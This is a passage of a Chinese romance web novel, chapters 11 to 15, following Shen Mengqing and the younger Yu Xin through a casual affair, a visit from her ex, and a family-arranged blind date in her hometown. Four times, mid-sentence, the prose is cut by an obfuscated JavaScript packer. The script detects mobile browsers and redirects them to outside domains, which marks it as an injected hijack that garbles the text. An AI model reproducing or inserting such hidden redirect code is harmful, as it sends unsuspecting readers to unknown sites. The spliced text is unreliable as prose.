余辛感觉他不安好心,提防地说:“怎么,换你替你妹相亲了?” 祝梨梨是祝绍明的堂妹,自从余辛被他爸骗去和她相了一次亲,这祝梨梨就追着余辛不放了,昨天的同学聚会也是她缠着非要跟祝绍明一起去。 不用猜也知道,余辛的动向就是她告诉余莫成的。 祝绍明也才得知他那傻白甜妹妹通风报信的事,好声好气地说:“我这不是给你赔礼来了,一句话,云栖庄,来不来。” 云栖庄建在郊区一座园林里,是预约制的,不对外接待客人,客单价最低也得五位数。 “这么破费?”余辛打了下转向灯,“四十分钟后到。” 正好,他有事想问问祝绍明。 - 是夜,沈孟青接到余辛电话时,还没下班。 她不想打断手头工作,懒得离开工位,直接随手接了电话。 “喂?”沈孟青压低声音说。 余辛顿了几秒,才出声说:“你几点下班?” 沈孟青:“估计八点半吧。” “八点半,我准时来你楼下接你。” 余辛冷静地说出这几个字,像是有什么重要的事,沈孟青不解地问:“怎么了吗?” “不是你说的么,”余辛语气带着钩子,听着有些钓人,“有需要的时候就见个面。” 大概是因为在办公室,身边有不少同事在,沈孟青双颊噌的一下就红了,紧忙把头低了些,埋进工位里。 她感觉自从发生了关系后,余辛就变了个人似的,明明主动撩拨的是她,可最近几次她都有点招架不住。 沈孟青好胜心上来了,绝不缴械投降,反击说:“行啊,正好新的东西也到了。” “大、一、号、的。”她一字一句不紧不慢地说着。 电话打完,沈孟青重新埋头工作,却记忆力迅速退化,看完一句忘一句。 都怪余辛,她此时此刻的脑子里都是黄色废料,还怎么工作! 美色误人啊! …… 沈孟青还是提前了点下班,八点二十就在楼下等余辛了,很快,一辆黑车平缓地行驶过来。 她上了车后,偏头看向余辛,敏锐地感知到他心情似乎不错。 “你好像很开心啊。”沈孟青看回前窗外红得亮眼的汽车尾灯,说。 这句话让车上的气氛变得旖旎了些,仿佛她这句话的意思是因为晚上要做某些事,所以他才这么开心。 余辛的指尖有一搭没一搭地敲着方向盘,语气平平地说:“是么,可是我下午刚和别人大吵一架。” 沈孟青闻言,略微惊讶了下,方才夜色太暗,余辛的面庞隐没在路边大树阴影下,这会有灯亮闪过,她才看见他嘴角的伤。 她不由自主地伸出手去触碰,余辛歪头躲了下,却没躲过去,伤口被沈孟青的指腹轻轻一贴,忽生一股刺痛,余辛忍住没嘶呼出声,只闷哼了句。 沈孟青看着创口处干涸的血迹,和隐隐透出的淤青,拧起眉说:“和人打架了?谁这么不长眼,往脸上砸,告诉姐姐,姐姐帮你揍回去。” 余辛没什么情绪地吐出两个字:“我爸。” “啊。”沈孟青往座位瑟缩回去,“那姐姐唯一能做的就只有回去给你消消毒了。” 察觉到她不时投射过来的视线,余辛有些想笑。 他说:“放心吧姐姐,不会破 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她的眼神锋利得能刀人,余辛耸耸肩,径直走到沙发上,说:“我也饿了,和你一起吃吧。” 沈孟青和胖这个字根本沾不上边,她身材很匀称,比例出挑,甚至因为是小骨架,腕骨和肩头这些地方还有点瘦,不过整个人看起来很健康,气血很足,大概是脸上苹果肌饱满的缘故,面部线条也很流畅。 余辛没回答她的问题,沈孟青对他这避而不谈的态度不太满意,轻哼一声,进厨房煮面去了。 她今天煮的是番茄鸡蛋面,这菜她做了十几年,很是拿手,不一会就端了出来。 余辛没等她发话,将长腿一收,坐在了地毯上。 两人很默契地没有说话,埋头吃着面,面汤滚烫,雾白的水气氤氲在两人周围,飘来飘去,最后无影无踪。 沈孟青的厨艺真的很不错,余辛是个吃饭很随便的人,好吃不好吃的,能满足他一日三餐就行,但是沈孟青做的菜和外头那些饭馆的都不一样,有生活烟火的味道,是沁入口舌的好味,令人久久不忘,像是件看起来朴实却穿起来最舒服贴身的衣服。 收拾好了碗筷,沈孟青给余辛倒了杯水,而后拿来了医药箱。 她捏着沾满碘伏的棉签,脸一点点朝余辛靠近。 近在咫尺间,余辛一把握住了她细削的手腕。 他的眼眸依旧冷淡,但当目光坠落在沈孟青眼里的那一刻,犹如被折射的阳光点燃般,炽热起来。 下一秒,沈孟青眼前一暗,他柔软的唇就覆了上来。 他们真是在身体力行饮食男女这四个字。 沈孟青心想。 12. 第十二章 十点将至,楼下喧腾的声音渐渐消失,有几盏路灯接触不良,偶尔一闪一闪的,夏虫浮生,在草丛里活泼地窜来钻去,练习着飞行,计划等到了盛夏往高处飞,扑向最耀眼的那团火光。 沈孟青和余辛就窝在沙发上,棉质的垫毯被揉皱得不成样子,毯边的流苏随着沙发晃晃悠悠,在无声地演奏一首夜曲。 或许是对气味比较敏感,沈孟青在余辛身上嗅到了陌生的高级香水的味道。 不过没关系,当她埋头在他微凉的颈窝时,包裹她的依旧是那清清长长的潮湿森林味,这森林笼着层厚厚的灰色云霾,她一点点往深处走去,躲开荆棘,拨云见雾,在森林的中心找寻到一颗没被世人发现的璀璨宝石。 她抬起头,舌尖在余辛带伤的嘴角舔了下,像是母猫给小猫舔舐伤口,有几分血的铁锈味,余辛头一歪,含住她的唇。 不知道是不是错觉,沈孟青觉得今晚余辛有些主动,她踩下的每一步都被他稳稳托着,这种心意相通、灵魂契合的感觉无比美妙。 “你谈过恋爱吗?” 她太好奇了,忙碌之中还是没忍住问出口。 余辛的唇畔贴在她的耳侧,说话时吐出微热的气,似是有痒痒虫穿进她耳朵钻入骨髓一般,浑身发颤。 “怎么?” 他的眼神陡然变了味,按在沈孟青腰间的力道紧了几分。 “夸你的意思。”沈孟青眨了眨眼,求饶道。 余辛耐着性子说:“没有。” 那他在这事上真是天赋异禀,能倾注浑身的情感。 夜曲终了,沙发太狭窄,两人这会都浸了汗,沈孟青按耐不住,起身去洗漱。 等她一身清爽地走出来时,余辛已经在沙发上睡着了。 他脑袋枕在胳膊上,半抱着皱成一团的毯子,一双长腿没地儿放,怎么都抻不开,只能委屈地蜷着,棱角分明的侧脸没入沙发里,面部线条投射在靠背上的剪影十分优越。 最高温度二十多度的天,他早早穿上了短袖t恤,宽宽绰绰的,显得消瘦,但沈孟青知道,衣料底下的身材特别结实有力。 初夏昼夜温差大,沈孟青取来一个薄毯,轻手轻脚地盖在了余辛身上。 …… 清晨,余辛破天荒地自然醒了,刚睁开眼没多久,他就连续打了好几个喷嚏。 纠结了一会,他还是决定在这简单洗个热水澡,没办法直接回家。 他站起身,将掉在地上的毯子叠好放在沙发上,拖沓着走进了浴室。 哗啦的水声将沈孟青吵醒,她愣神了会,有些不习惯在早上听见家里有其他人的声音,把赖床的劲缓过来后,她拿了条干净的浴巾挂在门口。 余辛走出来时发尖还湿着,没擦去的水珠顺着他白皙的脖颈徐徐流下,滑过他的锁骨,堙入深不可测的胸膛。 沈孟青不自觉咽了下口水,小声说了句早,然后溜进充满闷热水汽的浴室刷牙洗脸。 镜子上雾蒙蒙的,她边刷牙边抹了一把,这才清楚了些。 余辛收拾得七七八八,走回到浴室,在门边停住脚,隔着门和沈孟青对上视线。 他张了张嘴,准备和沈孟青道别,忽然,门铃猝不及防地响起,将二人之间的气氛惊散。 沈孟青一嘴牙膏的泡沫,鼓鼓囊囊着说:“帮我开下门,我漱下口就过去。” 余辛只好又迈步到门口,他右手刚搭上门把手,门外的人就迫不及待地出声说:“沈孟青,你在家吗?” 他闻声一顿,怔松了会后,将手垂了下来。 沈孟青姗姗赶来,见余辛还没开门,奇怪地问他:“谁啊?” 余辛倒退几步,靠在门后的墙上,抱起胳膊看她,脸色淡了些,也许是真着凉了,有些苍白感。 “男的。”他说。 沈孟青狐疑地打开门,门板往后旋转,恰好遮住余辛的身影,将他罩在门和墙之间。 随即,林向阳的脸闯入沈孟青的视野。 她看着眼前这个穿着西装、打扮精致的男人,一时没反应过来。 林向阳推了下眼镜,率先开口道:“好久不见。” 沈孟青回过味来,脸色瞬间一百八十度大拐弯,阴沉得像是暴风雨的前夕。 “你来做什么。”沈孟青的态度降到冰点。 林向阳悄然瞥了眼门口多出来的一双大码球鞋,莫名发问说:“家里有人?” 沈孟青怒极反笑,说:“这关你什么事?” “我有个u盘落在你家了。”林向阳将话题拉回正事上,“应该在床头柜,你看看。” 等他说完,沈孟青一步都没挪,林向阳知道沈孟青不想搭理他,摊了摊手又道:“那里面有对我来说很重要的客户资料,我一定要拿到它,如果你不愿找,那我自己来。” 他脚下松动了下,沈孟青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406585|184500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一把拦住。 怎么有人这么不要脸,他再靠近一步,沈孟青都要找保洁阿姨来把门口洗刷个百八十次,不然她都嫌弃回自己家。 她学着余辛叉起手,说:“你楼下等着,等会找到了给你,别站在我门口。” 关门前,她不忘翻了个白眼。 门外的脚步声渐行渐远,林向阳应当是离开了,余辛却没了要走的意思,还静静靠在墙上,埋头神游,跟座雕像似的。 沈孟青没管他,进了卧室,在床头柜翻找了会,找到了林向阳说的u盘,随意扯个外套披上出了门去。 林向阳就在她楼下等,靠在他的车边上,当时买这辆奥迪时沈孟青还替他出了点钱,不过她现在也懒得计较这些,不再来往才是最好的。 她二话不说,把东西递给林向阳就走。 林向阳注视着她,想喊住她说些什么,又感觉那些话卡在喉咙里似的,吐不出来,咽不下去。 重新回到家,沈孟青进门时,余辛正倚靠在阳台边上,手指上又多了只烟,烟雾晕晕绕绕,缠在他周围,一缕接着一缕,生生不灭。 即便沈孟青不喜欢烟味,但也不得不承认,余辛抽烟的时候有些太性感了。 她本以为,余辛这种冷酷的模样,抽起烟时会显得吊儿郎当,没想到,此刻的他反而敛起了乖张的样子,脸色带着点阴郁,很是厌世,令人想靠近他,拉一把。 沈孟青咳了几声,开着玩笑说:“看来下次我要把床头柜里的烟都扔了。” 余辛将手里的烟摁灭,眯起狭长的眼睛,语气嘲讽地说:“你找男朋友的眼光挺差。” “什么意思?”沈孟青盯着他,脸上眨眼没了笑。 余辛懒散地站直,两手滑入衣兜,冷冷说:“字面意思。” 他的话像一颗石子被掷入结冰湖面,起初只被砸出一个细微破口,眨眼间,凭空多了好几处裂缝,急速向四周延伸开,原本光滑晶莹的冰面变得四分五裂。 沈孟青心里那团好不容易灭下去的火又嘭地燃起来,她上一秒还想拉余辛一把,现在只想着他掉下去算了。 她伸手拧开门,一脸送客的神色。 “我眼光怎么样,就不麻烦你操心了。至于以后,我们之间如果谁有喜欢的人了,大可随时提出结束这段关系,放心去追。” “而我,一定不会嘲笑你眼光差的。” 她漠视着余辛说。 13. 第十三章 过了一周,端午节悄然而至。 在节前,沈孟青收到了一次妈妈打来的电话,电话那头应该有不只她一个人,背景音很是嘈杂。 还在上班时间,沈孟青握住手机的出音口,找了个比较空旷的地方,说:“妈,怎么了,是有什么事吗。” “没什么大事,这不是马上端午节了吗,是想问问你放假了会不会和小林一起回来过节呀?我和小林也好长时间没见了。” 妈妈这话刚说完,电话那边就传来几个姨妈的声音:“是啊小青,带小林回家过节嘛,你妈妈看这个女婿呀是越看越满意,恨不得明天就给你们办酒呢。” “瞎说,这种事情还得是年轻人自己决定。” 听见电话那边妈妈对几个姨妈笑着嗔怪的声音,沈孟青舔了舔干到皱皮的嘴唇,不知道说些什么好。 忽然,电话里静了下来,应该是妈妈进了房间里。 “小青,其实我前几天遇见了小林的爸爸妈妈,他们说小林想和你一起回来发展,但你没同意。你们两个,是不是吵架了呀?” “我们分手了。”沈孟青坦白说,“妈,你是知道我的,我想留在北城。” 妈妈似是没料到这个情况,沉默了片刻,而后叹口气说:“哎,我知道,你因为爸爸……想在北城生活。但是小青,我觉得小林是个不错的孩子,你一个人太辛苦了,我也想你以后的生活能有人照应。你再和他聊聊,好不好?” “再说吧,我端午节会回来的。” 沈孟青含糊其辞,不想因为自己的事情让妈妈太困扰。 小时候,因为爸爸失业,妈妈一个人撑起了家里的重担,她家不算贫困,但是妈妈还是忙着赚钱,和她相处的时间很少。 尤其是到了青春期,在她极度需要关爱时,爸爸又去世了。她有段时间一改开朗爱笑的性子,将自己封闭了很久,上了大学才渐渐好起来,但到了那时,她和妈妈的共同话题就更少了。 沈孟青倒也不认为这算和妈妈关系很差,她现在很理解妈妈,也知道她们互相都很爱对方,只是没法做到亲密无间罢了。 要是放在以前,如果能让妈妈安心,那她和林向阳结婚成家也无所谓。 但是,留在北城是她的底线,她为这个目标坚持了太久,已然成了一种执念。 而且现在…… 沈孟青想起余辛,他们和吵了架的情侣无异,处于冷战状态。 那个她没存备注也能背出来的手机号码,就静静被埋葬在好几天前的通话记录里,再也没出现过。 …… 沈孟青提前了一天回家过节,她的老家在楚城,是位于中部的一座小城市,从北城先坐飞机到省会再转高铁,傍晚前赶到了家。 家门口挂上了一束艾草,很好认,草木的幽香充斥着整层楼,沈孟青推开门,家里热热闹闹的,姨妈们都在。 见她回来了,众人都簇拥到她身边,这人替她放包,那人替她搁行李箱,剩下的去厨房里端菜,摆碗开饭。 这顿饭吃了将近俩小时,饭桌上没有一句话掉到了地上,在这些亲戚跟前,沈孟青都算话少的人。 姨妈们帮着把家里收拾了干净才走,家里只剩下两个人后,瞬间安静了不少,难怪平日里她们常来这陪妈妈,一个人在这偌大的家里,是挺孤单的。 沈孟青坐在妈妈身边陪着看电视,妈妈手没闲着,给她剥了个她最爱吃的碱粽子,往白糖上一裹,递给她道:“你和小林分手多久了?” “有两个月了。” 她算上了林向阳失联的时间。 白糖的丝丝甜意在舌尖溢开,即便长大了,她还是很爱这个味道。 妈妈抽了张纸,暗自观察了下沈孟青的表情,出声说:“你还记得李伯伯吗,小时候你爸爸和他关系很好,咱们住一个院里。” 沈孟青摇摇头,不解妈妈怎么突然提起这个李伯伯。 “他这些年还一直在北城的医药行业摸爬滚打,已经是上市公司的老总了,这次过节他也回楚城了,前几天还去墓前看望了下你爸,我们俩就聊了会。”说到这,妈妈拿出了一张名片,塞进沈孟青手里,“这是他儿子的名片,他儿子叫李青河,和你年纪差不多,听着他做的工作和你也挺相似的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406586|184500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我俩想了想,你们要不见个面?” 一下信息量太大,沈孟青没反应过来,妈妈以为她有些抵触,解释道:“我们确实是想让你们相亲试试看,但这也是看缘分的,反正你俩都在北城,多个朋友也好。” 沈孟青盯着名片,垂头沉思。 这名片上医疗器械公司的名称她熟悉的很,就是那个郭总在的公司,换句话说,是她的大客户。 她妈妈这一出手,直接就推来这么大一客户资源。 虽然是为了相亲。 任是梁军来,也不一定能约到这人见面,沈孟青没再犹豫,下定决心说:“我去。” 她没什么别的想法,只是单纯不想错过这种认识人脉的机会。 妈妈眼睛一弯,开怀地笑了起来:“好啊,我现在就和你李伯伯说一句,看看约个时间地点,你们明天过去。” 沈孟青本来想说她可以自己联系名片上的电话,但看着妈妈雀跃地替她忙络的样子,她将话咽了回去。 …… 俩“家长”约的时间是下午六点,在楚城人均最高的一家西餐厅,足以见得他们的重视程度。 沈孟青有些哭笑不得,妈妈帮她搭配了一天的衣服,最后选中了条很简单的白色吊带收腰长裙,外面裹了件burberry的披肩,脚踩猫跟单鞋,还给她挽了个扎发。 她很久没打扮这么精致过了。 沈孟青是开着妈妈的车去赴约的,十几年前买的奔驰,那会在楚城特别拉风。 西餐厅在一家五星级酒店的顶楼,从停车场进了电梯,沈孟青发现身边好几个比她还装束靓丽的女孩,都是去西餐厅的,她这才少了点局促。 预定的卡座在靠窗的A9,沈孟青特意提前了几分钟到,她被服务生领路过去,没想到,对方比她还到得更早。 她走到对面的座位,略带歉意地说:“不好意思,我来晚了。” “不不不,是我来太早了,抱歉。” 对面的人礼貌站起身,沈孟青看清他的样貌后,不由在心里感叹。 这位人脉比她想象中的帅太多了吧。 14. 第十四章 和她一样,李青河穿得也很正式,一套修身的黑色西装将他衬得沉稳清贵,很符合他的身份。 两人落座后,服务生躬身询问是否可以上菜,他们这才知道,家里父母安排妥帖到连菜都替他们点好了。 李青河要来了一份菜单,绅士地递给沈孟青说:“沈小姐你看看,有没有什么你想加的菜。” 沈孟青粗略地看了下,目前的菜份量够他们吃了,她也不是个挑食的人,摇摇头将菜单推了回去。 等服务生走了,李青河才正经地按照相亲流程,做了一次自我介绍,他笑着说:“我爸告诉我你在愈生工作的时候,我还挺惊讶的,我和你们余总的儿子很熟,有机会介绍你们认识。” 沈孟青有点想笑,这已经是第二次有人想介绍董事长儿子和她认识了。 她喝了口果汁,回应道:“那咱们还挺有缘,愈生和贵司的合同还是我签的。” 李青河眉毛一挑,有些诧异地问道:“你签的?和郭斌对接的是你吗?” 沈孟青尴尬地说:“是我,那件事没给你们造成什么影响吧,听说郭总被开除了。” 李青河没有说话,靠在椅背上垂眸思索,过了会,才抬起头道:“当然没什么影响,你自己没事吧?” “我没事。”沈孟青举起杯子,伸向李青河说,“不论如何,我敬你一杯,感谢李总选择和我们续约,还惩治了人渣。” 李青河和她碰杯,杯中茶水微晃,他笑得似和煦春风: “不用这么见外,还有,别喊我李总,叫我李青河就好,我们这顿饭可不是商务酒局。” 李青河为人随和,沈孟青一开始还有些面对大客户的紧张,但这么边吃边谈下来,她聊天的状态逐渐轻松,把李青河当作同龄的朋友。 一席饭接近尾声,逐渐有淅淅沥沥的水声传来,原来是外头不知何时下起了大雨,透明的玻璃窗幕上流下一层水帘,窗外的夜景映过雨水像是颜色被晕染开一般,模糊不清。 李青河喝了口水,遗憾地说:“本来还想邀请你去江边散步消食的,看来是去不了了。” “下雨的晚上开车挺累的,路上就当消食了。”沈孟青玩笑道。 李青河很捧场:“你说得对。” 结账买单时,李青河大步一踏,抢先付了钱,拒绝了沈孟青提出的AA制请求。 他替沈孟青挡住电梯门,跟在她身后进去,说:“有机会你在北城请回来。” 沈孟青不再坚持:“好,人均四位数以下的店您随便挑。” 李青河:“那我可得顶着你的预算找。” 电梯屏幕上的楼层数不断下降,就在快到停车场那层的时候,沈孟青忽然收到了一条短信。 这年头怎么还有人发短信,不会这边刚结束相亲,又来了个相亲小广告吧,她点开一看,来自熟悉的一串号码。 「我在楚城M酒店1916。」 几乎瞬间,沈孟青心跳一停,感觉脑子被这几个字搅成了浆糊,耳膜嗡嗡作响。 楚城M就是西餐厅在的这座五星级酒店,适时,电梯门轰轰打开,身后的李青河在等她先走出去。 沈孟青往旁边一侧,转头说:“我在这还有事,你先走吧。” 李青河愣了下,走到和她齐肩的位置,说:“需要我帮忙么?” “不用。”沈孟青飞快地回答。 李青河稍许疑惑,但还是和她说了再见。 在电梯关上的最后一秒,他看向沈孟青,她正定定地看着手机,表情似乎……有一丝难察的期待? 反正他今晚从没见过她露出这种表情。 …… 出了电梯,沈孟青的高跟鞋在柔软的地毯上落下一小戳一小戳的印记,直到写着1916门牌号的房前才停下。 她没有犹豫地抬起手,轻轻叩响了门。 没等几秒,房门就被打开了一条缝。 里头的人只露出了半张脸,看清是她后,才将房门完全打开。 房间里空调的温度比走廊的更低,凉风从里到外吹了过来,沈孟青抬眼看向余辛,讶异着他怎么憔悴了这么多。 他头发杂乱地耷着,脸色灰白,凌厉的面部线条凹进去了,眼睛里有些湿意,沈孟青都要怀疑他是不是哭了。 余辛注视着她,从头到脚看了她一遍,淡淡开口:“你知道我什么时候发的信息吗。” “两分钟前。”沈孟青准确地说了出来。 余辛眼尾扬起,问她:“你家就住楼下?” 沈孟青哈哈两声:“我正好在楼上相……吃饭。” 她有点口干舌燥,怎么有种被捉奸的心情。 余辛转身进了房间,刚走几步,他就剧烈地咳嗽起来,咳得整个背一晃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16406587|184500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一晃得,像是棵没有树叶快要被疾风折断的枯树,将右手扶住墙壁才堪堪稳住身体。 沈孟青这人鲜少记仇,都是在工作里修炼出来的,即便前一天和人没达成共识,争辩得面红耳赤,第二天她也能不显不露地喊人哥姐。 她见余辛这样,心里早就无声软了几分,进门把包随手一放,皱眉问余辛说:“怎么病得这么重。” 那次吵完架后,余辛回家没多久就得了重感冒,估计是在沙发上睡觉着凉了。他高烧了两天,起初不在意地在家随便吃了些胶囊,没想到烧一直不退,咳嗽还愈发严重,便撑不住去了医院,打了几天吊针后才稍微转好。 那天从医院走出来,他在手机上收到了出行提醒的短信。 他在高烧的时候买下了来楚城的票。 “你怎么知道我家在楚城。” 沈孟青从洗手池装了壶水烧,向坐在窗边沙发上的余辛问道。 余辛嗓子暗哑,刚咳嗽完,声音有种沙砾的粗糙磨砂感:“你手机号码显示了。” 难怪,沈孟青的电话号码从高中起就没换过,没想到在这时派上用场了。 她反手撑着桌台,裙子压在桌沿上,说道:“你就不怕我是买的号,跑空了地方。” 余辛眼皮耷着,也不知道是闭上了还是在看地毯,病恹恹的,说:“不怕,我刚打完吊针,体内抗生素多得很,够我来回一趟了。” 嘁,真是嘴硬,谁问你这个了。 沈孟青暗地里哼了声。 “况且,如果真跑错了,大不了我给你打个电话,再买票去找你。” 沈孟青心里有张明镜似的,镜子磨得锃亮,呔一声就给余辛叫出了原形。 她嘴角弯了弯:“这么想见我?” 余辛冷冷扫了她眼,没有说话。 沈孟青往前踱了几步,走到他面前,余辛的腿是大剌剌敞开的,沈孟青就这么双腿并拢地站在他膝盖之间,两只手一个接一个撑在他背后的沙发靠背上,胳膊肘贴在距离他脸侧左右不远的地方。 她的披肩滑下了一些,露出了如珠玉圆润的肩头和深陷的锁骨,裙子的布料和余辛的裤子摩擦在一起,一黑一白,一冷一纯。 头一低,她的鼻尖距离余辛的眼睛不过几厘米的距离,连他有几根睫毛都看得一清二楚。 “弟弟,你是不是喜欢我啊?” 15. 第十五章 余辛微微扬起头,下颌线愈发锋利,眼里带着暗红的血丝,破碎感拉满。 他压下喉咙的痒意,直视沈孟青说:“你想得美。” “是么?” 沈孟青轻笑了声,移开一只手拉起了些没什么弹性的长裙,腿一抬,将膝盖垫上沙发,一点一点向座位深陷处滑下去,裙摆随着她摇摆,像一条吐着蛇信子探入禁忌之地的美人蛇。 余辛懒散地伸出手,搭在她膝盖上,微微施力,按下了她的危险动作。 腿被门禁挡住,沈孟青不满地嘟囔了声,只好转换攻势,倾身向前,眼见下一秒两人的唇就要相触,她觉察到余辛的下巴往上迎了下后,当即站起了身。 她俨然成了主掌战局的人,居高临下地看着余辛,说:“你先好好养病吧。” 她这样游刃有余地戛然而止,倒是把余辛架到了一座高空塔尖上,使他难以原路返回,临危自立。 他脸色更差,目光似是能将沈孟青戳出个洞。 水壶响了一声,应当是水烧好了,咕噜咕噜沸腾着,水汽从壶口涌入空气中,冲淡了方才的气氛。 沈孟青给余辛装了杯热水,搁在桌上晾凉,问道:“你什么时候走。” “明天吧。”余辛将腿一收,眼神幽暗地盯着她道,“你很忙?” 沈孟青用脚来回踢着地毯,开口说:“你要不要待到后天,和我一起走。” 余辛又咳了起来,他手握成拳放在嘴前,像是要将肺腑都给咳出来,显然是病没痊愈就到处乱跑,身体还没好彻底。 等平复了些,他低声应了句:“行。” 沈孟青拿起包,对着门前的镜子将披肩整理好,补了补樱桃色的口红。 “你好好休息吧,我明天再来看你。” 她丢下这句话后,按下门把手走了出去。 门关上后,房间里霎时沉寂下来。 余辛其实已经没那么难受了,咳嗽的恢复周期长,眼下看着憔悴是因为昨晚没睡好,又赶了一天路,太奔波了。 他进了洗手间,看见自己这萎靡不振的样子,和光彩照人的沈孟青形成了巨大的反差。 今天沈孟青的妆容打扮,和以前都不太一样,他说不上来是哪变了,只觉得她五官格外秾丽,一袭白裙衬得她身段袅袅,裹上围巾更是气质脱俗。 她这段时间倒是过得不错。 余辛摁开水龙头,洗了一把冷水脸。 - 第二天,沈孟青在家里待到快中午才脱身,妈妈和姨妈们一直拉着她问李青河的事,闹腾得她一个头两个大。 她从家里带了几个粽子去,不知道余辛喜欢哪种口味,就咸的甜的都带了些。 这会天气不错,沈孟青在心里盘算着拉余辛出门晒晒太阳,在江边吃个饭,身体也能好得快些。 她才敲了一下,房门就从里被打开了,余辛正巧在洗漱,大概是休息足了,看着比昨天状态好多了,不过还是比前段时间瘦了些,沈孟青决定等会吃饭给他多夹几块肉。 “没吃早饭吧,我给你带了粽子,吃完我们出门。” 等余辛的期间,沈孟青浏览了下大众点评,挑了个吃本地菜的江边私厨,从酒店悠哉哉走过去,不多不少十分钟。 余辛没带行李箱,早上在附近随便进了个店,买了件黑色长袖,吊牌都没摘,沈孟青替他扯下吊牌,两人出了酒店。 江岸就在对面,岸边有一大块这几年开发的草坪,一到节假日,城里一半以上的人都来这上头扎篷露营,烧烤的香味一阵阵地被风送过来,还有个大爷带着群小孩吵哄哄地放风筝。 他们经过时,有个小男生风筝没放起来,恰巧掉在两人跟前。 沈孟青捡了起来,递给男孩说:“弟弟,你得逆着风慢跑,别太心急了。” 小男生哦了声,跑远玩去了。 余辛站在旁边一言不发地看着,忽而张嘴道:“你挺爱到处认弟弟啊。” “?” 沈孟青一时语塞,怎么又阴阳怪气起来了。 “他就是我表弟啊。” 上午聊天的时候,小姨说读高一的弟弟在江边玩,没想到还真碰上了,楚城果然是座小城市。 余辛自知理亏又略带不相信地瞥了眼沈孟青,两手一叉,迈开长腿继续往前走。 江水粼粼,阳光细细斜斜地洒在涌动的水面上,和碎金子似的,倘若眼睛一直聚焦在江水上,看着波纹轻摇慢晃,会感觉时间的流逝都变得缓慢。 沈孟青回过神才发觉她已然差了余辛一大截路,连忙朝前头那个高高大大的黑影追了上去。 到了餐厅,两人被服务员带到大堂坐下,身边来吃饭的大多都是本地人,操着本地口音大声聊天,沈孟青点了俩特色菜,都是荤食,素菜让余辛自己挑了个想吃的。 她吃前申明说:“远来是客,这顿我请。” 余辛随意挑了个青菜,把菜单一撂,表示他没有意见。 点完了菜,沈孟青看向窗户外的江景,跨江大桥似是又重新修缮了,比以前更新更高了些,自打去北城读大学后,她每年不过回楚城两三次,对如今发展迅速的家乡倍感陌生。 她将视线移至余辛身上,问他道:“你也在北城读的大学吗?” “不是,在国外。”余辛说。 他百无聊赖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16406588|184500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地转着水杯,骨节分明的手指打着圈,一双眼睛生得太好,落在别人眼里,他低头看杯子的眼神都格外深情,令人移不开眼,附近几桌早已有几个姐妹盯着他不放了。 沈孟青看不下去,把椅子往余辛那边挪了挪,直勾勾迎上那些人的目光。 大部分人都被她的气场震住,尴尬地撇开了头,只有两个人,还紧紧注目着,沈孟青看这两人越看越眼熟。 她顿时反应过来,这一男一女是她高中同学,是班上最八卦的两位,前段时间听说他们结束了多年爱情长跑,步入了婚姻殿堂,高中的朋友还和她吐槽说是俩麻雀成群了,背地里得说多少别人的闲话。 高中的时候,沈孟青就因为长得漂亮,没少被他们八卦造谣。 显然,对方也认出了她,还一脸热情地走了过来。 女麻雀先开了口,说道:“沈孟青!真是你啊,我们都多久没见了,你是不是在北城天天去美容院啊,还是这么年轻漂亮,和大学刚毕业似的。” “好巧啊,你也挺漂亮的,没怎么变过。” 沈孟青笑得比桌上摆着的塑料花还假。 女麻雀搀上男麻雀的胳膊,端出一副恩爱无比的模样,娇羞说:“我老公这几年生意不错,赚的钱都给我美容保养用了,看着是比同龄人显小些。” 她刚说完,她老公就顺势抽了下袖子,露出金手表和金戒指,戒指勒紧了他粗胖的手指,肉都被分成了两节。 “诶,我前几个月还和林向阳联系过,和他聊他们公司几支证券的事儿。”男麻雀在余辛脸上瞄了眼,神情夸张地大声说:“你俩分了啊?” 沈孟青抿起嘴,脸色青了几分,点点头。 女麻雀打量了会余辛,见他长得是不错,但穿的衣服一看就是地摊货,要不了几颗子,猜也猜到沈孟青是看上了这人的脸,估计这男人是个不上班靠她吃饭的小白脸。 